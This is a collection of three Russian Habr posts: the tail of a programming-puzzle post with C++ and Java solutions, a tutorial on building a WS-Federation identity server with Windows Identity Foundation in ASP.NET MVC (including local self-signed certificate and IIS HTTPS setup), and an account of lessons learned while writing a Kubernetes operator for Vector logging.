> 14
>
> 18
>
> -5
>
> 30
>
>
>
> Output: 30 < — Top
>
> 18
>
> 14
>
> -3
>
> -5
**Перевод**Дан стек, задача — отсортировать его с помощью рекурсии. Использование циклических конструкций, вроде while, for… и др. запрещено. Позволено использовать только следующие абстракные команды на стеке S:
is\_empty(S): Проверяет, пуст ли стек.
push(S): Добавляет новый элемент в стек.
pop(S): Снимает верхий элемент стека.
top(S): Возвращает значение верхнего элемента. Обратите внимание, что элемент не удаляется при этом.
Примеры:
Вход: -3 < — Вершина стека
14
18
-5
30
Выход: 30 < — Вершина стека
18
14
-3
-5
**Word breaker**
> Given an input string and a dictionary of words, find out if the input string can be segmented into a space-separated sequence of dictionary words. See following examples for more details.
>
>
>
> Consider the following dictionary
>
> { i, like, sam, sung, samsung, mobile, ice,
>
> cream, icecream, man, go, mango}
>
>
>
> Input: ilike
>
> Output: Yes
>
> The string can be segmented as «i like».
>
>
>
> Input: ilikesamsung
>
> Output: Yes
>
> The string can be segmented as «i like samsung»
>
> or «i like sam sung».
>
>
**Перевод**Дана входная строка и словарь. Напишите программу для нахождения, может ли быть строка разбита на последовательность слов из словаря. Примеры:
Дан следующий словарь:
{ i, like, sam, sung, samsung, mobile, ice,
cream, icecream, man, go, mango}
Строка: ilike
Выход: Да. Строка может быть разбита на «i like».
Строка: ilikesamsung
Output: Да. Строка может быть разбита на «i like samsung» или «i like sam sung».
**Tile Stacking Tower**
> A stable tower of height n is a tower consisting of exactly n tiles of unit height stacked vertically in such a way, that no bigger tile is placed on a smaller tile. An example is shown below:
>
>
> ```
>
> [ 1 ]
> [ 2 ]
> [ 3 ]
> [ 4 ]
>
> ```
>
>
> We have infinite number of tiles of sizes 1, 2, …, m. The task is calculate the number of different stable tower of height n that can be built from these tiles, with a restriction that you can use at most k tiles of each size in the tower.
>
>
>
> Note: Two tower of height n are different if and only if there exists a height h (1 <= h <= n), such that the towers have tiles of different sizes at height h.
>
>
>
> Examples:
>
>
>
> Input: n = 3, m = 3, k = 1.
>
> Output: 1
>
> Possible sequences: { 1, 2, 3}.
>
> Hence answer is 1.
>
>
>
> Input: n = 3, m = 3, k = 2.
>
> Output: 7
>
> {1, 1, 2}, {1, 1, 3}, {1, 2, 2}, {1, 2, 3}, {1, 3, 3}, {2, 2, 3}, {2, 3, 3}.
>
>
**Перевод**Устойчивая башня высотой n — это башня, состоящая из ровно n плиток одинаковой высоты, уложенных вертикально таким образом, что на меньшей плитке не лежит плитка большего размера. Пример:
```
[ 1 ]
[ 2 ]
[ 3 ]
[ 4 ]
```
У нас имеется бесконечное количество плиток размеров 1, 2,..., m. Задача — рассчитать количество возможных стабильных башен высотой n, которые могут быть построены из этих плиток, с учетом того, что Вы можете использовать не более k плиток каждого размера в башне.
Обратите внимание: две башни высотой n различны только тогда, когда существует такая высота h (1 <= h <= n), что башни имеют плитки разных размеров на высоте h.
Примеры:
Вход: n = 3, m = 3, k = 1.
Выход: 1
Возможная последовательность: { 1, 2, 3}. Ответ — 1.
Вход: n = 3, m = 3, k = 2.
Выход: 7
{1, 1, 2}, {1, 1, 3}, {1, 2, 2}, {1, 2, 3}, {1, 3, 3}, {2, 2, 3}, {2, 3, 3}.
Ответы будут даны в течение следующей недели — успейте решить. Удачи!
#### Решения
1. **Вопрос 1**Ответ: 15. [Тут](https://habr.com/company/spice/blog/412879/#comment_18726083) объяснили почему.
2. **Вопрос 2**В [комментариях](https://habr.com/company/spice/blog/412879/#comment_18726133) верно ответили на этот вопрос
Вероятность того, что в следующем гнезде барабана находится патрон — 1/4
Если прокрутить барабан, то вероятность того, что он остановится на патроне — 2/6 = 1/3
3. **Задача 1**Вариант решения, динамическое программирование:
```
#include
#include
using namespace std;
/\* A utility function to check whether a word is present in dictionary or not.
An array of strings is used for dictionary. Using array of strings for
dictionary is definitely not a good idea. We have used for simplicity of
the program\*/
int dictionaryContains(string word)
{
string dictionary[] = {"mobile","samsung","sam","sung","man","mango",
"icecream","and","go","i","like","ice","cream"};
int size = sizeof(dictionary)/sizeof(dictionary[0]);
for (int i = 0; i < size; i++)
if (dictionary[i].compare(word) == 0)
return true;
return false;
}
// Returns true if string can be segmented into space separated
// words, otherwise returns false
bool wordBreak(string str)
{
int size = str.size();
if (size == 0) return true;
// Create the DP table to store results of subroblems. The value wb[i]
// will be true if str[0..i-1] can be segmented into dictionary words,
// otherwise false.
bool wb[size+1];
memset(wb, 0, sizeof(wb)); // Initialize all values as false.
for (int i=1; i<=size; i++)
{
// if wb[i] is false, then check if current prefix can make it true.
// Current prefix is "str.substr(0, i)"
if (wb[i] == false && dictionaryContains( str.substr(0, i) ))
wb[i] = true;
// wb[i] is true, then check for all substrings starting from
// (i+1)th character and store their results.
if (wb[i] == true)
{
// If we reached the last prefix
if (i == size)
return true;
for (int j = i+1; j <= size; j++)
{
// Update wb[j] if it is false and can be updated
// Note the parameter passed to dictionaryContains() is
// substring starting from index 'i' and length 'j-i'
if (wb[j] == false && dictionaryContains( str.substr(i, j-i) ))
wb[j] = true;
// If we reached the last character
if (j == size && wb[j] == true)
return true;
}
}
}
/\* Uncomment these lines to print DP table "wb[]"
for (int i = 1; i <= size; i++)
cout << " " << wb[i]; \*/
// If we have tried all prefixes and none of them worked
return false;
}
// Driver program to test above functions
int main()
{
wordBreak("ilikesamsung")? cout <<"Yesn": cout << "Non";
wordBreak("iiiiiiii")? cout <<"Yesn": cout << "Non";
wordBreak("")? cout <<"Yesn": cout << "Non";
wordBreak("ilikelikeimangoiii")? cout <<"Yesn": cout << "Non";
wordBreak("samsungandmango")? cout <<"Yesn": cout << "Non";
wordBreak("samsungandmangok")? cout <<"Yesn": cout << "Non";
return 0;
}
```
4. **Задача 2**Вариант решения на java:
```
import java.util.ListIterator;
import java.util.Stack;
class Test
{
// Recursive Method to insert an item x in sorted way
static void sortedInsert(Stack s, int x)
{
// Base case: Either stack is empty or newly inserted
// item is greater than top (more than all existing)
if (s.isEmpty() || x > s.peek())
{
s.push(x);
return;
}
// If top is greater, remove the top item and recur
int temp = s.pop();
sortedInsert(s, x);
// Put back the top item removed earlier
s.push(temp);
}
// Method to sort stack
static void sortStack(Stack s)
{
// If stack is not empty
if (!s.isEmpty())
{
// Remove the top item
int x = s.pop();
// Sort remaining stack
sortStack(s);
// Push the top item back in sorted stack
sortedInsert(s, x);
}
}
// Utility Method to print contents of stack
static void printStack(Stack s)
{
ListIterator lt = s.listIterator();
// forwarding
while(lt.hasNext())
lt.next();
// printing from top to bottom
while(lt.hasPrevious())
System.out.print(lt.previous()+" ");
}
// Driver method
public static void main(String[] args)
{
Stack s = new Stack<>();
s.push(30);
s.push(-5);
s.push(18);
s.push(14);
s.push(-3);
System.out.println("Stack elements before sorting: ");
printStack(s);
sortStack(s);
System.out.println(" \n\nStack elements after sorting:");
printStack(s);
}
}
```
5. **Задача 3**Вариант решения:
```
#include
using namespace std;
#define N 100
int possibleWays(int n, int m, int k)
{
int dp[N][N];
int presum[N][N];
memset(dp, 0, sizeof dp);
memset(presum, 0, sizeof presum);
// Initialing 0th row to 0.
for (int i = 1; i < n + 1; i++) {
dp[0][i] = 0;
presum[0][i] = 1;
}
// Initialing 0th column to 0.
for (int i = 0; i < m + 1; i++)
presum[i][0] = dp[i][0] = 1;
// For each row from 1 to m
for (int i = 1; i < m + 1; i++) {
// For each column from 1 to n.
for (int j = 1; j < n + 1; j++) {
// Initialing dp[i][j] to presum of (i - 1, j).
dp[i][j] = presum[i - 1][j];
if (j > k) {
dp[i][j] -= presum[i - 1][j - k - 1];
}
}
// Calculating presum for each i, 1 <= i <= n.
for (int j = 1; j < n + 1; j++)
presum[i][j] = dp[i][j] + presum[i][j - 1];
}
return dp[m][n];
}
// Driver Program
int main()
{
int n = 3, m = 3, k = 2;
cout << possibleWays(n, m, k) << endl;
return 0;
}
``` | https://habr.com/ru/post/412879/ | null | ru | null |
# Windows Identity Foundation — для ASP.NET MVC проектов

В этой статье, хотелось бы рассказать о том, как можно использовать Windows Identity Foundation в своих ASP.NET MVC проектах, и написать свой Identity Server, на WIF платформе. Во первых, потому что, общей информации, в интернете, достаточно, а вот когда дело касается конкретики, тут возникают проблемы. Так как идеологию и частные случаи можно ещё найти, а вот когда дело касается конкретики, приходится собирать по крупицам. И во вторых, то что сейчас предлагает Microsoft, используя надстройки над Visual Studio, не совсем годится, я бы даже сказал, совсем не годится при разработке решений, сложнее домашней странички или сайта — визитки. Кроме всего прочего, я не очень люблю, когда мифический мастер настройки что сделал с солюшеном, и сказал что «вроде должно работать».
В качестве примера, создадим, и настроим, самый примитивный клиент, который будет авторизоваться через самый примитивный сервер авторизации (Identity Server) работающий по [WS-Federation](http://en.wikipedia.org/wiki/WS-Federation) протоколу.
Для того, что бы определиться, в каких же случаях имеет смысл «городить огород» со своим сервером авторизации, достаточно посмотреть как же он работает. Итак, мы хотим предоставлять клиенту несколько сервисов, например несколько сайтов, например с WCF сервисами, и допустим REST API. Согласитесь, что пользователю будет достаточно дискомфортно отдельно авторизоваться на каждом из наших сайтов, при переходе с одного на другой. Тут достаточно простая идея, которая заключается в том, что пользователю, при авторизации на одном из сервисов (ресурсов), выдаётся некий Token. А в дальнейшем, другой, или тот же, сервис (ресурс) уже доверяет авторизированному пользователю, на основе существования у клиента этого самого токена, ну и так далее…
Просто для наглядности понимания, приведу понравившееся сравнение (к сожалению ссылки на нашел). Например человек получает паспорт, после некой процедуры проверки, а в дальнейшем, предоставляя свой паспорт, человеку доверяют, на основе наличия у него паспорта. В данном сравнении, паспорт человека, и есть токен клиента.
Сразу же можно сделать вывод, что зачастую, бессмысленно выдавать «паспорт», если он будет проверяться только в одном месте.
Конечно же, у токена, как и у паспорта, есть время жизни, и точно так же, токен может быть пересоздан, на основе устаревшего. И по аналогии, как и паспорт, токен может быть разным, т.е. представлять из себя практически всё что угодно, или это заголовок реквеста, или base64 строка, как например JWT Token ([JSON Web Token](http://angular-tips.com/blog/2014/05/json-web-tokens-introduction/)). А по факту, сам токен содержит информацию о себе (время когда он был создан последний раз, публичный ключ сертификата, и т.п.), а так же список клеймов, содержащих информацию о клиенте. Для описания токена, мы будем использовать язык SAML ([Security Assertion Markup Language](http://en.wikipedia.org/wiki/Security_Assertion_Markup_Language)).
Ещё одно важное понятие, — это клеймы (Claims). Клеймы входят в состав нашего токена, и несут информацию о клиенте в целом. Фактически — это словарь, состоящий из пары Key/Value, в котором Key — namespace описывающий тип поля Value, а само по себе поле Value — это простая строка. В .Net это представлено типизированным списком:
```
var claimsList = new List
{
new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier", "Tester")
};
```
Существует целый ряд, зарегистрированных неймспейсов, которых более чем хватает для того что бы описать профиль клиента, от списка ролей, до аватарки. При желании мы можем создавать свои пространства имён, единственное о чём нужно помнить, что сам объект Claim, должен сериализоваться.
Отсюда можно сделать пожалуй два основных вывода, первый — это что для просто авторизации пользователя, на сайте, использовать Identity Server, просто неоправданно, и второй — что поскольку мы собираемся передавать токен, между различными ресурсами, нам понадобится безопасность транспорта, в первую очередь. И так приступим, и начнём пожалуй с настройки транспорта, поскольку если у нас не будет trusted транспорта, ничего работать просто не сможет, а для этого, в первую очередь, нам понадобится сертификат.
### Создание сертификата
Вот примерно с этого момента, у многих разработчиков, начинаются вопросы, по поводу создания сертификата, настройки HTTPS на сервере, и так далее. Для работы и отладки, нам понадобится сам IIS установленный локально, простое ASP.NET MVC приложение, которое будет нашим клиентским сайтом, и доверенный сертификат. Нам нужен не просто сертификат, а сертификат выданный на какое либо доменное имя, покупать его, для тестовых целей — экономически не выгодно, поэтому мы сделаем его сами.
Например, имя домена, который мы будем использовать в тестовых целях будет **identity.com**. Сначала, для создания сертификата воспользуемся утилитой **makecert**.
```
makecert -r -n "CN=*.identity.com" -cy authority -b 01/01/2000 -e 01/01/2099 -a sha1 -sr localMachine -sky Exchange -sp "Microsoft RSA SChannel Cryptographic Provider" -sy 12 -sv identity.com.pvk identity.com.cer
```
В результате выполнения мы получим два файла **identity.com.pvk** и **identity.com.cer**.Тут все предельно понятно, да и информации по утилите **makecert** более чем достаточно. Единственный момент, на котором хотелось бы остановиться по подробнее, так это на CN на который мы выдаём сертификат. Если выдать сертификат просто на **identity.com**, то нам, в дальнейшем, будет неудобно локально моделировать ситуацию с распределёнными ресурсами, а вот использование **\***, значительно упрощает нашу задачу т.е. **\*.identity.com**. Использование **\***, даёт нам возможность локально создавать произвольное количество доменов вида **«any name».identity.com**.
Далее, для проверки сертификата издателя, воспользуемся утилитой [cert2spc](http://msdn.microsoft.com/en-us/library/f657tk8f(v=vs.110).aspx).
```
cert2spc identity.com.cer identity.com.spc
```
И в результате, получим файл **identity.com.spc**, который нам понадобится для утилиты **pvk2pfx**. С помощью которой мы сгенерируем необходимый нам **pfx** файл.
```
pvk2pfx -pvk identity.com.pvk -spc identity.com.spc -pfx identity.com.pfx -pi "qwerty"
```
В результате, мы получили identity.com.pfx файл, содержащий private ключ, с паролем qwerty. Осталось его зарегистрировать IIS и в системе.
### Настройка HTTPS
Для того что бы, наш IIS сервер начал работать с нашим сертификатом, во первых, нам нужно импортировать наш pfx файл, в Trusted Root Certification Authorities зону через оснастку MMC, и выполнить Import в самом IIS сервере, в разделе Server Certificates.
Теперь всё готово к настройке нашего клиентского сайта. Для этого создадим новый сайт в IIS, с именем client.identity (в прочем, без разницы с каким), главное что бы App Pool нашего сайта работал под .Net 4.0 (это если сайт скомпилирован под .Net 4.0, 4.5). И указываем Physical path, на директорию нашего клиентского сайта.

Далее, настраиваем наш HTTPS, в разделе Binding. После выбора https в поле type, нам необходимо выбрать наш сгенерированный сертификат, и только после этого нам становится доступно для редактирования поле Host name. Если сертификат мы сгенерировали с "**\***", то мы можем указывать практически любое имя нашего сайта, главное сто бы оно заканчивалось на **identity.com**, т.е. имя нашего тестового домена. В дальнейшем мы можем изменить наши биндинги в разделе Bindings, нашего сайта. Остался только последний «штрих», так это изменить hosts файл, по пути (c:\Windows\System32\drivers\etc\) и добавить туда строку с именем биндинга нашего сайта:
```
127.0.0.1 client.identity.com
```
Всё, можно проверять работу локального https, просто по адресу: *[client.identity.com](https://client.identity.com)*.

В результате, мы должны увидеть наше web приложение, а в адресной строке, то что наш сертификат, является доверенным, т.е. никаких предупреждений браузера.
Если Вы скачаете IdentityTrainingKitVS2010 с сайта Microsoft, то можно немного облегчить себе жизнь, выполнив SetupCertificates.cmd, например по пути IdentityTrainingKitVS2010\Labs\MembershipAndFederation\Source\Setup\Scripts\SetupCertificates.cmd
Этот скрипт сделает практически тоже самое, только для уже готового сертификата из примеров localhost.pfx (у него пароль xyz). Соответственно обращение к сайту (например Default Web Site), будут работать через localhost, а все ваши приложения которые должны работать через https, должны быть созданы ни как, Web Site, а как Web Application, под localhost сайтом.
### Настройка клиентского приложения
Теперь надо произвести некоторую настройку нашего клиентского приложения. Для начала, в настройках проекта, установим адрес нашего сайта для поля Custom Web Server.

Это даст Visual Studio возможность, при запуске, автоматически делать Attach to Process к w3wp.exe процессу (процесс сайта IIS).
Теперь, нам надо разобраться с референсами нашего сайта, и добавить две сборки из GAC, **System.IdentityModel.dll** и **System.IdentityModel.Services.dll**. А так же удалить лишнее, то что нам будет мешать — это NUget пакеты DotNetOpenAuth, они нам не понадобятся, а будут только мешать, а для этого, необходимо удалить пакет **Microsoft.AspNet.WebPages.OAuth**. Если, по каким либо причинам, Вы не хотите их трогать, то как опциональный вариант, — это настройка регистрации в web.config.
И последним шагом, в настройке клиентского приложения — это настройка самого web.config. Во первых, в разделе sysytem.web, установить метод authentication в none.
```
```
Далее регистрируем наши секцию, для Identity Model в разделе configSections:
```
```
Добавляем и настраиваем эти секции, сначала system.identityModel:
```
```
Для начала, в секции audienceUris, добавляем адрес нашего клиенского сайта, далее добавляем запись в секциию trustedIssuers, где thumbprint это значение Thumbprint из нашего сгенерированного файла **identity.crt**, или другого сертификата транспорта, по которому будет работать сервер.

Только без пробелов. А поле name — это и есть адрес нашего бедующего сервера, например, в нашем случае [server.identity.com](https://server.identity.com) + /issue/wsfed. Использовать именно wsfed не обязательно, оссобенно в нашем случае бедующего сервера — это может быть что угодно. Просто wsfed — это сокращение от [WS-Federation](http://en.wikipedia.org/wiki/WS-Federation).
Далее добавляем секцию system.identityModel.services:
```
```
Тут всё достаточно просто, iisuer — это наш сервер из секции выше, а reply — это адрес куда, в дальнейшем отвечать серверу.
Осталось зарегистрировать модули, в разделе system.webServer.
```
```
Всё, можно проверять работу нашего клиента, достаточно попробовать с View вызвать любой метод или метод контроллера помеченного атрибутом Authorize.
После запуска приложения (по F5), и попытке пользователем вызвать наш метод, мы увидим GET запрос по адресу нашего бедующего сервера:
```
https://server.identity.com/issue/wsfed?wa=wsignin1.0&wtrealm=https%3a%2f%2fclient.identity.com%2f&wctx=rm%3d0%26id%3dpassive%26ru%3d%252fAccount&wct=2014-09-23T13%3a36%3a21Z&wreply=https%3a%2f%2fclient.identity.com%2f
```
Это запрос на авторизацию, от клиента серверу, по адресу [server.identity.com/issue/wsfed](https://server.identity.com/issue/wsfed).
Описанного выше, вполне хватает, для минимальной настройки клиентского приложения, работающего с WIF Identity Server, даже если Вы используете сервер сторонних разработчиков, главное что бы сервер поддерживал [WS-Federation](http://en.wikipedia.org/wiki/WS-Federation).
### Создание сервера
Перед началом создания Identity сервера, надо обязательно упомянуть о такой вещи как STS ([Security Token Service](http://en.wikipedia.org/wiki/Security_token_service)). Фактически — это сервис, и не важно на каком языке и платформе он написан. А наш ASP.NET MVC Identity Server — это по сути UI оболочка. Для создания своего STS, поскольку мы всё таки используем .Net, то нам будет удобно воспользоваться уже теми инструментами которые есть в платформе.
Наш Identity Server, так же как и клиент, по сути представляет собой, ASP.NET MVC приложение, для которого тоже необходимо настроить HTTPS, и, в нашем случае, назначим ему биндинг [server.identity.com](https://server.identity.com), используя все тот же, сгенерированный нами сертификат.
Создадим SignIn View для SignIn метода контроллера Account, и добавим в web.config запись:
```
```
И добавим в роуты, запись для метода контроллера, который будет выполняться при обращении по пути issue/wsfed.
```
routes.MapRoute("wsfederation",
"issue/wsfed",
new { controller = "WSFederation", action = "issue" });
```
Именно по этому пути обращается наш клиент <>/issue/wsfed. Если мы контроллер, пометим атрибутом Authorizе, то клиентское приложение, при попытке выполнить вход, в систему, будет попадать сначала на метод SignIn, контроллера Account, который в свою очередь будет возвращать View, с логин формой нашего сервера.
Далее пользователь вводит данные, необходимые для входа (например логин пароль), и попадает на метод Issue. Обратите внимание, что RequestString при этом не меняется, а остаётся таким же, с которым обратилось клиентское приложение.
Для того что бы наш сервер понимал, что же именно клиент от него хочет, разберём аргументы запроса:
```
public ActionResult Issue()
{
WSFederationMessage message = WSFederationMessage.CreateFromUri(HttpContext.Request.Url);
// Sign in
var signinMessage = message as SignInRequestMessage;
if (signinMessage != null)
{
return ProcessWSFederationSignIn(signinMessage);
}
// Sign out
var signoutMessage = message as SignOutRequestMessage;
if (signoutMessage != null)
{
return ProcessWSFederationSignOut(signoutMessage);
}
return View("Error");
}
```
Соответственно метод WSFederationMessage.CreateFromUri, возвращает инстанцию наследников абстрактного класса WSFederationMessage. Далее выполняем действия, или входа в систему, или выхода.
При выполнении входа в систему по WS-Federation протоколу, выполняем статический метод:
```
FederatedPassiveSecurityTokenServiceOperations.ProcessSignInRequest
```
Этот метод, на основе полученной инстанции класса SignInRequestMessage, и списка клеймов (Claims), сформирует некий объект RequestSecurityToken, который по сути и является нашим токеном клиента, и отдаст его на метод GetScope нашего STS сервиса. Для создания нашего STS сервиса, унаследуемся от абстрактного класса SecurityTokenService:
```
public class TokenService : SecurityTokenService
```
и перекроем метод GetScope:
```
protected override Scope GetScope(ClaimsPrincipal principal, RequestSecurityToken request)
```
именно в этом методе будет происходить анализ или заполнение объекта RequestSecurityToken.Т.е. непосредственно само формирование, и проверка токена клиента. Всю проверку я просто не вижу смысла описывать, так как проще всего по методу пройтись дебагом, так как в методе нет ничего не тривиального.
В принципе, вышеописанного в самом своём минимуме достаточно, для того что бы получить примитивный Identity Server, через который клиент может авторизоваться.
Если будет интересно, как это всё работает, я «склеил» упрощённый клиент и сервер, на с [github](https://github.com/valkovnet/IdentityServer).
Это просто облегченная версия сервера <https://github.com/thinktecture/Thinktecture.IdentityServer.v2>, собранная пока что, на данный момент, в целях демонстрации и не более того, и конечно не выдерживает никакой критики.
### В заключение
Что хотелось бы, лично мне получить в результате, так это полноценный Identity Server, в который вынесена вся работа с профилем пользователя т.е. логин, регистрация, соцсети, просмотр своего профиля и т.д. Соответственно с должным уровнем security. Но по факту, что бы сам сервер можно было бы подключить к разрабатываемому ресурсу, и каждый раз не тратить на время на систему авторизации. Ну и конечно же, хотелось бы, интегрировать работу сервера, с WCF и REST сервисами, с распределением доступа к методам по ролям клиента. Но это пока только в планах.
### Полезные ссылки
Что такое Windows Identity Foundation: <http://msdn.microsoft.com/ru-ru/library/ee748475.aspx>
Исходники нескольких Identity серверов, и полезных библиотек: <https://github.com/thinktecture>
Хороший доклад о Claims-based авторизации: <https://www.youtube.com/watch?v=WHSDIiwQlS8>
Ещё примеры: <http://claimsid.codeplex.com>
И кодепроджект: <http://www.codeproject.com/Articles/504399/Understanding-Windows-Identity-Foundation-WIF> | https://habr.com/ru/post/238121/ | null | ru | null |
# Наступая на грабли. Опыт написания Kubernetes Operator’а
Недавно мной, совместно с [@dkhadm](/users/dkhadm), был реализован оператор для Kubernetes’a - [Vector Operator](https://github.com/kaasops/vector-operator). (Вот [тут](https://habr.com/ru/post/698526/) описано как мы пришли к решению, что там нужен свой оператор для Логирования в Kubernetes).
В рамках данной статьи я опишу разные интересные Задачи/Проблемы с которыми мы столкнулись в процессе разработки и как их решили.
Controller Runtime Cache
------------------------
**Проблема**
При тестировании оператора в продакшн условиях, мы столкнулись с ошибкой, которая в логах выглядела так:
```
W1029 16:56:43.443740 81279 reflector.go:324] pkg/mod/k8s.io/client-go@v0.24.2/tools/cache/reflector.go:167: failed to list *v1.Secret: stream error when reading response body, may be caused by closed connection. Please retry. Original error: stream error: stream ID 155; INTERNAL_ERROR; received from peer
I1029 16:56:43.443865 81279 trace.go:205] Trace[1292523411]: "Reflector ListAndWatch" name:pkg/mod/k8s.io/client-go@v0.24.2/tools/cache/reflector.go:167 (29-Oct-2022 16:55:43.022) (total time: 60421ms):
Trace[1292523411]: ---"Objects listed" error:stream error when reading response body, may be caused by closed connection. Please retry. Original error: stream error: stream ID 155; INTERNAL_ERROR; received from peer 60421ms (16:56:43.443)
Trace[1292523411]: [1m0.4217365s] [1m0.4217365s] END
```
**Аналитика**
Когда мы выполняем Get какого-то объекта (дли примера - secret):
```
err := c.Get(ctx, client.ObjectKeyFromObject(desired), existing)
if err != nil {
return err
}
```
Контроллер пытается получить список ВСЕХ secret’ов, подписаться на изменение каждого и все это сохранить в cache. Secret’ов в кластере, где проходили тесты, очень много и operator просто не успевал выполнить получение всех secret’ов (он делает это одним запросом) и запрос отваливался по timeout.
Покопавшись в коде контроллера, мы поняли, что это его дефолтное поведение.
**Решение**
При регистрации менеджера нужно указать, какие ресурсы НЕ надо кэшировать. Указываем тут все ресурсы, с которыми работаем:
```
mgr, err := ctrl.NewManager(config, ctrl.Options{
Scheme: scheme,
...
...
ClientDisableCacheFor: []client.Object{&corev1.Secret{}, &corev1.ConfigMap{}, &corev1.Pod{}, &appsv1.Deployment{},
&appsv1.StatefulSet{}, &rbacv1.ClusterRole{}, &rbacv1.ClusterRoleBinding{}},
})
```
Отказ от Reconcile по времени
-----------------------------
**Проблема**
Одна из главных задач оператора - следить, что все объекты, которые он развернул находится в валидном состоянии. То есть если кто-то ручками в кластере поправит контролируемый оператором объект - оператор должен отловить это и вернуть все к “контролируемому” состоянию. (Возможно за исключением каких-то полей, но это вопрос про [server-side apply](https://kubernetes.io/docs/reference/using-api/server-side-apply/), что достойно отдельной статьи и тут не рассматривается)
**Аналитика**
По умолчанию мы настроили Reconcile Vector’а, чтобы он срабатывал каждые 15 секунд. То есть каждые 15 секунд оператор запускает проверку, что все раскатанные ресурсы находятся в нужном состоянии.
Однако это выглядит как излишняя нагрузка. Чаще всего, запускаемый Reconcile ничего не делает.
Было бы прекрасно, если бы мы могли “подписаться” на все ресурсы, которые создаются для работы Vector’a и запускать Reconcile только если в этих ресурсах произошли какие-то изменения. И у нас есть такая возможность!
При инициализации Controller-Runtime Manager’а мы можем ему указать следующее:
```
func (r *VectorReconciler) SetupWithManager(mgr ctrl.Manager) error {
return ctrl.NewControllerManagedBy(mgr).
For(&vectorv1alpha1.Vector{}).
Owns(&appsv1.DaemonSet{}).
Owns(&corev1.Service{}).
Owns(&corev1.Secret{}).
Owns(&corev1.ServiceAccount{}).
Complete(r)
}
```
Если вкратце, то это означает:
* Мы подписываемся на все изменения, связанные с ресурсом `vectorv1alpha1.Vector`. Это указывается в методе `For`
* Мы подписывается на все ресурсы, которые раскатываются оператором, у которых в Owners указан `vectorv1alpha1.Vector`. Это указывается в `Owns`
Однако во время тестирования на продакшн условиях, мы ловим уже знакомую нам ошибку:
```
W1029 16:56:43.443740 81279 reflector.go:324] pkg/mod/k8s.io/client-go@v0.24.2/tools/cache/reflector.go:167: failed to list *v1.Secret: stream error when reading response body, may be caused by closed connection. Please retry. Original error: stream error: stream ID 155; INTERNAL_ERROR; received from peer
I1029 16:56:43.443865 81279 trace.go:205] Trace[1292523411]: "Reflector ListAndWatch" name:pkg/mod/k8s.io/client-go@v0.24.2/tools/cache/reflector.go:167 (29-Oct-2022 16:55:43.022) (total time: 60421ms):
Trace[1292523411]: ---"Objects listed" error:stream error when reading response body, may be caused by closed connection. Please retry. Original error: stream error: stream ID 155; INTERNAL_ERROR; received from peer 60421ms (16:56:43.443)
Trace[1292523411]: [1m0.4217365s] [1m0.4217365s] END
```
Опять она. Возникает она по следующей причине.
При старте, Operator читает из Kubernetes API все обекты, типы которых перечисленны в Owns. Делает он это для того, чтобы проверить нет ли на момент старта Оператора каких-то объектов в кластере, у которых УЖЕ установлен Owner’ом наш Vector.
Логичное поведение, однако оно приводит к тому, что на высоконагруженных (скорее всего bare-metal) кластерах Kubernetes наш оператор будет постоянно спамить ошибками и падать. Да и нецелесообразно выглядит, когда оператор под капотом пытается выташить ВСЕ объекты какого-то типа из кластера.
**Решение**
Мы планируем иметь возможность импользование оператора на высогонагруженных и жирных кластерах Kubernetes, по этому нам пришлось вернуться к запуску Reconcile каждые 15 секунд.
Дублирование структуры конфигурации Vector'a
--------------------------------------------
**Проблема**
Vector имеет определенную структуру для своего файла конфигурации. Архитектурно он состоит из 4 блоков:
1. ***Global*** - Важные настройки самого Vector’а. (Нужно ли ему включить API, директория, в которой он будет хранить cache, настройки параметров helthcheck’ов и т.д.)
2. ***Source*** *- И*сточники откуда должны тянуться данные
3. ***Transforms*** - Инструкции для обработки данных
4. ***Sink*** - Куда отправлять данные
Vector жестко следит за структурой файла конфигурации и если в нем есть какие-то ошибки - он выдаст error и не запустится.
Признаться честно - нам крайне не хотелось дублировать работу Vector’а и хранить где-то в операторе ВСЮ структуру конфигурационного файла и валидировать его, когда кто-то создает новые инструкции для сбора\обработки\отправки метрик\логов (В рамках Vector Operator’а такие инструкции задаются через Custom Resource VectorPipeline (или ClusterVectorPipeline)). Не хотелось нам это по нескольким причинам:
* Vector написан на Rust. И мы просто не могли в нашем операторе, который мы реализуем на Go, переиспользовать готовые структуры, которые уже определены в Vector’e
* Скопировать всю структуру конфигурационного файла Vector’а в структуры Go - рутинная, нудная задача
* Мы легко можем где-то ошибиться и, например, указать где-нибудь тип int, когда нужен float, как это было замечено в [Logging Operator’e](https://github.com/banzaicloud/logging-operator)
* Обновления оператора на новые версии Vector’а - становится кромешным адом. Ничего не забыть, нигде не ошибиться. А такая ручная работа в итоге всегда приводит к ошибкам
* Если мы хотим поддерживать возможность установки разных версий Vector’а - нам нужно хранить и контролировать структуру для каждой версии
**Аналитика**
Нами было решено, что пользователь, когда создает CR VectorPipeline должен иметь возможность указать что угодно в блоках sources, transforms и sinks, однако оператор должен уметь доставать конкретные поля из того, что указал пользователь в CR и проверять их.
Например, если пользователь в CR VectorPipeline укажет поле `extra_namespace_label_selector` - должна выдаться ошибка, ведь Custom Resource VectorPipeline должен работать, и забирать логи, только в том NameSpace, где он определен. Поле `extra_namespace_label_selector` заполняется автоматически, иначе рядовой пользователь в кластере имея права создавать VectorPipeline сможет настроить сборку логов, например, с объектов в NameSpace kube-system, что, мягко говоря, несекьюрно.
**Решение**
По умолчанию при создании Custom Resource, все неуказаные в CRD поля - удаляются, но в kubebuilder есть опция кодогенератора:
`// +kubebuilder:pruning:PreserveUnknownFields`, которая добавляя в сгенеренную CRD поле `x-kubernetes-preserve-unknown-fields: true`, позволяет передавать любое количество дополнительных полей.
RAW данные в go структуре, которые описывает CRD имеют тип runtime.RawExtension.
```
type VectorPipelineSpec struct {
// +kubebuilder:pruning:PreserveUnknownFields
Sources *runtime.RawExtension `json:"sources,omitempty"`
// +kubebuilder:pruning:PreserveUnknownFields
Transforms *runtime.RawExtension `json:"transforms,omitempty"`
// +kubebuilder:pruning:PreserveUnknownFields
Sinks *runtime.RawExtension `json:"sinks,omitempty"`
}
```
Но дальше возникает проблема: как написано выше, часть конфига мы хотим контролировать, а часть отправлять как есть, соответсвенно после десериализации нам надо чаcть данных запихать в поля, которые у нас определены, а часть оставить как есть.
На помощь приходит пакет [mapstructure](https://pkg.go.dev/github.com/mitchellh/mapstructure), который декодирует мапы в структуры и с помощью специального тэга remain, делает то, что нам нужно.
Итого:
